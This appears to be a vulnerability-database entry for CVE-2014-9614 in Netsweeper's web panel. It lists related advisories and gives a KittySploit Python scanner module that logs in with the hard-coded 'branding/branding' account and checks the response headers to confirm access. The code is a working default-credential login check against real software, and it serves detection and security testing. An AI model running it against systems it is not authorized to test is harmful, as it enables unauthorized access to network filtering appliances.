Netsweeper 4.0.5 - Default Weak Account Detection
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| Netsweeper 2.6.29.8 - SQL Injection Vulnerability | 13 Aug 201500:00 | – | zdt | |
| CVE-2014-9614 | 19 Feb 202019:56 | – | cve | |
| CVE-2014-9614 | 19 Feb 202019:56 | – | cvelist | |
| Netsweeper 4.0.5 - Default Weak Account | 15 Oct 202602:05 | – | nuclei | |
| CVE-2014-9614 | 19 Feb 202020:15 | – | nvd | |
| Default credentials | 19 Feb 202020:15 | – | prion | |
| PT-2020-7784 | 19 Feb 202000:00 | – | ptsecurity | |
| CVE-2014-9614: Use of Hard-coded Credentials | 19 Feb 202000:00 | – | rapid7 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Web Panel in Netsweeper before 4."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Netsweeper 4.0.5 - Default Weak Account Detection',
'description': "The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.",
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve2014', 'cve', 'netsweeper', 'default-login', 'packetstorm', 'xss', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz',
'https://nvd.nist.gov/vuln/detail/CVE-2014-9614',
'http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2014-9614',
}
def run(self):
path = '/webadmin/auth/verification.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Origin': '{{BaseURL}}', 'Referer': '{{BaseURL}}/webadmin/start/'}, data='login=branding&password=branding&Submit=Login\n')
if not r or r.status_code != 302:
return False
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_any = ('Location: ../common/', 'Location: ../start/', 'Set-Cookie: webadminU=',)
if any(m in headers for m in header_any):
self.set_info(severity='critical', reason='Netsweeper 4.0.5 - Default Weak Account detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.68706